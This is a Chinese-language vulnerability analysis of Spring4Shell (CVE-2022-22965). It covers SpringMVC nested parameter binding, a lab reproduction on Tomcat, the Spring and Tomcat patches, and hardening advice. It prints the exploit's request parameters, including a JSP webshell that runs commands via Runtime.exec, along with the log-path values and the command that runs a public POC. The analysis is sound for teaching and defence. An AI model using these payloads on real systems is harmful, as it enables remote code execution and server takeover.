Spring4Shell漏洞原理分析(CVE-2022-22965)
一、前置知识
1.1 SpringMVC参数绑定
为了方便编程,SpringMVC支持将HTTP请求中的的请求参数或者请求体内容,根据Controller
方法的参数,自动完成类型转换和赋值。之后,Controller
方法就可以直接使用这些参数,避免了需要编写大量的代码从HttpServletRequest
中获取请求数据以及类型转换。下面是一个简单的示例:
1 | import org.springframework.stereotype.Controller; |
当请求为/addUser?name=test&department.name=SEC
时,public String addUser(User user)
中的user
参数内容如下:
可以看到,name
自动绑定到了user
参数的name
属性上,department.name
自动绑定到了user
参数的department
属性的name
属性上。
注意department.name
这项的绑定,表明SpringMVC支持多层嵌套的参数绑定。实际上department.name
的绑定是Spring通过如下的调用链实现的:
1 | User.getDepartment() |
假设请求参数名为foo.bar.baz.qux
,对应Controller
方法入参为Param
,则有以下的调用链:
1 | Param.getFoo() |
SpringMVC实现参数绑定的主要类和方法是WebDataBinder.doBind(MutablePropertyValues)
。
1.2 Java Bean PropertyDescriptor
PropertyDescriptor
是JDK自带的java.beans
包下的类,意为属性描述器,用于获取符合Java Bean规范的对象属性和get/set方法。下面是一个简单的例子:
1 | import java.beans.BeanInfo; |
从上述代码和输出结果可以看到,PropertyDescriptor
实际上就是Java Bean的属性和对应get/set方法的集合。
1.3 Spring BeanWrapperImpl
在Spring中,BeanWrapper
接口是对Bean的包装,定义了大量可以非常方便的方法对Bean的属性进行访问和设置。
BeanWrapperImpl
类是BeanWrapper
接口的默认实现,BeanWrapperImpl.wrappedObject
属性即为被包装的Bean对象,BeanWrapperImpl
对Bean的属性访问和设置最终调用的是PropertyDescriptor
。
1 | import org.springframework.beans.BeanWrapper; |
从上述代码和输出结果可以看到,通过BeanWrapperImpl
可以很方便地访问和设置Bean的属性,比直接使用PropertyDescriptor
要简单很多。
1.4 Tomcat AccessLogValve
和 access_log
Tomcat的Valve
用于处理请求和响应,通过组合了多个Valve
的Pipeline
,来实现按次序对请求和响应进行一系列的处理。其中AccessLogValve
用来记录访问日志access_log。Tomcat的server.xml
中默认配置了AccessLogValve
,所有部署在Tomcat中的Web应用均会执行该Valve
,内容如下:
1 | <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs" |
下面列出配置中出现的几个重要属性: - directory:access_log文件输出目录。 - prefix:access_log文件名前缀。 - pattern:access_log文件内容格式。 - suffix:access_log文件名后缀。 - fileDateFormat:access_log文件名日期后缀,默认为.yyyy-MM-dd
。
二、漏洞复现
2.1 复现环境
- 操作系统:Ubuntu 18
- JDK:11.0.14
- Tomcat:9.0.60
- SpringBoot:2.6.3
2.2 复现过程
- 创建一个maven项目,pom.xml内容如下:
1 |
|
- 项目中添加如下代码,作为SpringBoot的启动类:
1 | import org.springframework.boot.SpringApplication; |
- 将章节
1.1 SpringMVC参数绑定
中的User
类和UserController
类添加到项目中。 - 执行maven打包命令,将项目打包为war包,命令如下:
1 | mvn clean package |
- 将项目中target目录里打包生成的
CVE-2022-22965-0.0.1-SNAPSHOT.war
,复制到Tomcat的webapps
目录下,并启动Tomcat。 - 从 https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py 下载POC文件,执行如下命令:
1 | python3 poc.py --url http://localhost:8080/CVE-2022-22965-0.0.1-SNAPSHOT/addUser |
- 浏览器中访问
http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=gnome-calculator
,复现漏洞。
三、漏洞分析
3.1 POC分析
我们从POC入手进行分析。通过对POC中的data
URL解码后可以拆分成如下5对参数。
3.1.1 pattern
参数
- 参数名:
class.module.classLoader.resources.context.parent.pipeline.first.pattern
- 参数值:
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
很明显,这个参数是SpringMVC多层嵌套参数绑定。我们可以推测出如下的调用链:
1 | User.getClass() |
那实际运行过程中的调用链是怎样的呢?SomeClass
是哪个类呢?带着这些问题,我们在前置知识中提到的实现SpringMVC参数绑定的主要方法WebDataBinder.doBind(MutablePropertyValues)
上设置断点。
经过一系列的调用逻辑后,我们来到AbstractNestablePropertyAccessor
第814行,getPropertyAccessorForPropertyPath(String)
方法。该方法通过递归调用自身,实现对class.module.classLoader.resources.context.parent.pipeline.first.pattern
的递归解析,设置整个调用链。
我们重点关注第820行,AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);
,该行主要实现每层嵌套参数的获取。我们在该行设置断点,查看每次递归解析过程中各个变量的值,以及如何获取每层嵌套参数。
第一轮迭代
进入getPropertyAccessorForPropertyPath(String)
方法前: - this
:User
的BeanWrapperImpl
包装实例 - propertyPath
:class.module.classLoader.resources.context.parent.pipeline.first.pattern
- nestedPath
:module.classLoader.resources.context.parent.pipeline.first.pattern
- nestedProperty
:class
,即本轮迭代需要解析的嵌套参数
进入方法,经过一系列的调用逻辑后,最终来到BeanWrapperImpl
第308行,BeanPropertyHandler.getValue()
方法中。可以看到class
嵌套参数最终通过反射调用User
的父类java.lang.Object.getClass()
,获得返回java.lang.Class
实例。
1 | getPropertyAccessorForPropertyPath(String)`方法返回后: - `this`:`User`的`BeanWrapperImpl`包装实例 - `propertyPath`:`class.module.classLoader.resources.context.parent.pipeline.first.pattern` - `nestedPath`:`module.classLoader.resources.context.parent.pipeline.first.pattern`,作为下一轮迭代的`propertyPath` - `nestedProperty`:`class`,即本轮迭代需要解析的嵌套参数 - `nestedPa`:`java.lang.Class`的`BeanWrapperImpl`包装实例,作为下一轮迭代的`this |
经过第一轮迭代,我们可以得出第一层调用链:
1 | User.getClass() |
第二轮迭代
module
嵌套参数最终通过反射调用java.lang.Class.getModule()
,获得返回java.lang.Module
实例。
经过第二轮迭代,我们可以得出第二层调用链:
1 | User.getClass() |
第三轮迭代
classLoader
嵌套参数最终通过反射调用java.lang.Module.getClassLoader()
,获得返回org.apache.catalina.loader.ParallelWebappClassLoader
实例。
经过第三轮迭代,我们可以得出第三层调用链:
1 | User.getClass() |
接着按照上述调试方法,依次调试剩余的递归轮次并观察相应的变量,最终可以得到如下完整的调用链:
1 | User.getClass() |
可以看到,pattern
参数最终对应AccessLogValve.setPattern()
,即将AccessLogValve
的pattern
属性设置为%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
,也就是access_log的文件内容格式。
我们再来看pattern
参数值,除了常规的Java代码外,还夹杂了三个特殊片段。通过翻阅AccessLogValve
的父类AbstractAccessLogValve
的源码,可以找到相关的文档:
即通过AccessLogValve
输出的日志中可以通过形如%{param}i
等形式直接引用HTTP请求和响应中的内容。完整文档请参考文章末尾的参考章节。
结合poc.py中headers
变量内容:
1 | headers = {"suffix":"%>//", |
最终可以得到AccessLogValve
输出的日志实际内容如下(已格式化):
1 | <% |
很明显,这是一个JSP webshell。这个webshell输出到了哪儿?名称是什么?能被直接访问和正常解析执行吗?我们接下来看其余的参数。
3.1.2 suffix
参数
- 参数名:
class.module.classLoader.resources.context.parent.pipeline.first.suffix
- 参数值:
.jsp
按照pattern
参数相同的调试方法,suffix
参数最终将AccessLogValve.suffix
设置为.jsp
,即access_log的文件名后缀。
3.1.3 directory
参数
- 参数名:
class.module.classLoader.resources.context.parent.pipeline.first.directory
- 参数值:
webapps/ROOT
按照pattern
参数相同的调试方法,directory
参数最终将AccessLogValve.directory
设置为webapps/ROOT
,即access_log的文件输出目录。
这里提下webapps/ROOT
目录,该目录为Tomcat Web应用根目录。部署到目录下的Web应用,可以直接通过http://localhost:8080/
根目录访问。
3.1.4 prefix
参数
- 参数名:
class.module.classLoader.resources.context.parent.pipeline.first.prefix
- 参数值:
tomcatwar
按照pattern
参数相同的调试方法,prefix
参数最终将AccessLogValve.prefix
设置为tomcatwar
,即access_log的文件名前缀。
3.1.5 fileDateFormat
参数
- 参数名:
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
- 参数值:空
按照pattern
参数相同的调试方法,fileDateFormat
参数最终将AccessLogValve.fileDateFormat
设置为空,即access_log的文件名不包含日期。
3.1.6 总结
至此,经过上述的分析,结论非常清晰了:通过请求传入的参数,利用SpringMVC参数绑定机制,控制了Tomcat AccessLogValve
的属性,让Tomcat在webapps/ROOT
目录输出定制的“访问日志”tomcatwar.jsp
,该“访问日志”实际上为一个JSP webshell。
在SpringMVC参数绑定的实际调用链中,有几个关键点直接影响到了漏洞能否成功利用。
3.2 漏洞利用关键点
3.2.1 关键点一:Web应用部署方式
从java.lang.Module
到org.apache.catalina.loader.ParallelWebappClassLoader
,是将调用链转移到Tomcat,并最终利用AccessLogValve
输出webshell的关键。
ParallelWebappClassLoader
在Web应用以war包部署到Tomcat中时使用到。现在很大部分公司会使用SpringBoot可执行jar包的方式运行Web应用,在这种方式下,我们看下classLoader
嵌套参数被解析为什么,如下图:
可以看到,使用SpringBoot可执行jar包的方式运行,classLoader
嵌套参数被解析为org.springframework.boot.loader.LaunchedURLClassLoader
,查看其源码,没有getResources()
方法。具体源码请参考文章末尾的参考章节。
这就是为什么本漏洞利用条件之一,Web应用部署方式需要是Tomcat war包部署。
3.2.2 关键点二:JDK版本
在前面章节中AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);
调用的过程中,实际上Spring做了一道防御。
Spring使用org.springframework.beans.CachedIntrospectionResults
缓存并返回Java Bean中可以被BeanWrapperImpl
使用的PropertyDescriptor
。在CachedIntrospectionResults
第289行构造方法中:
该行的意思是:当Bean的类型为java.lang.Class
时,不返回classLoader
和protectionDomain
的PropertyDescriptor
。Spring在构建嵌套参数的调用链时,会根据CachedIntrospectionResults
缓存的PropertyDescriptor
进行构建:
不返回,也就意味着class.classLoader...
这种嵌套参数走不通,即形如下方的调用链:
1 | Foo.getClass() |
这在JDK<=1.8都是有效的。但是在JDK 1.9之后,Java为了支持模块化,在java.lang.Class
中增加了module
属性和对应的getModule()
方法,自然就能通过如下调用链绕过判断:
1 | Foo.getClass() |
这就是为什么本漏洞利用条件之二,JDK>=1.9。
四、补丁分析
4.1 Spring 5.3.18补丁
通过对比Spring 5.3.17和5.3.18的版本,可以看到在3月31日有一项名为“Redefine PropertyDescriptor filter的”提交。
进入该提交,可以看到对CachedIntrospectionResults
构造函数中Java Bean的PropertyDescriptor
的过滤条件被修改了:当Java Bean的类型为java.lang.Class
时,仅允许获取name
以及Name
后缀的属性描述符。在章节3.2.2 关键点二:JDK版本
中,利用java.lang.Class.getModule()
的链路就走不通了。
4.2 Tomcat 9.0.62补丁
通过对比Tomcat 9.0.61和9.0.62的版本,可以看到在4月1日有一项名为“Security hardening. Deprecate getResources() and always return null.”提交。
进入该提交,可以看到对getResource()
方法的返回值做了修改,直接返回null
。WebappClassLoaderBase
即ParallelWebappClassLoader
的父类,在章节3.2.1 关键点一:Web应用部署方式
中,利用org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
的链路就走不通了。
五、思考
通过将代码输出到日志文件,并控制日志文件被解释执行,这在漏洞利用方法中也较为常见。通常事先往服务器上写入包含代码的“日志”文件,并利用文件包含漏洞解释执行该“日志”文件。写入“日志”文件可以通过Web服务中间件自身的日志记录功能顺带实现,也可以通过SQL注入、文件上传漏洞等曲线实现。
与上文不同的是,本次漏洞并不需要文件包含。究其原因,Java Web服务中间件自身也是用Java编写和运行的,而部署运行在上面的Java Web应用,实际上是Java Web服务中间件进程的一部分,两者间通过Servlet API标准接口在进程内部进行“通讯”。依靠Java语言强大的运行期反射能力,给予了攻击者可以通过Java Web应用漏洞进而攻击Java Web服务中间件的能力。也就是本次利用Web应用自身的Spring漏洞,进而修改了Web服务中间件Tomcat的access_log配置内容,直接输出可执行的“日志”文件到Web 应用目录下。
在日常开发中,应该严格控制Web应用可解释执行目录为只读不可写,日志、上传文件等运行期可以修改的目录应该单独设置,并且不可执行。
本次漏洞虽然目前调用链中仅利用到了Tomcat,但只要存在一个从Web应用到Web服务中间件的class.module.classLoader....
合适调用链,理论上Jetty、Weblogic、Glassfish等也可利用。另外,目前通过写入日志文件的方式,也可能通过其它文件,比如配置文件,甚至是内存马的形式出现。
本次漏洞目前唯一令人“欣慰”的一点是,仅对JDK>=1.9有效。相信不少公司均为“版本任你发,我用Java 8!”的状态,但这也仅仅是目前。与其抱着侥幸心理,不如按计划老老实实升级Spring。
参考
- Tomcat access_log配置参考文档:https://tomcat.apache.org/tomcat-9.0-doc/config/valve.html#Access_Logging
- Spring 5.3.17和5.3.18版本比较:https://github.com/spring-projects/spring-framework/compare/v5.3.17...v5.3.18
- Spring 5.3.18补丁提交内容:https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15
- Tomcat 9.0.61和9.0.62版本比较:https://github.com/apache/tomcat/compare/9.0.61...9.0.62
- Tomcat 9.0.62补丁提交内容:https://github.com/apache/tomcat/commit/8a904f6065080409a1e00606cd7bceec6ad8918c
- LaunchedURLClassLoader源码:https://github.com/spring-projects/spring-boot/blob/main/spring-boot-project/spring-boot-tools/spring-boot-loader/src/main/java/org/springframework/boot/loader/LaunchedURLClassLoader.java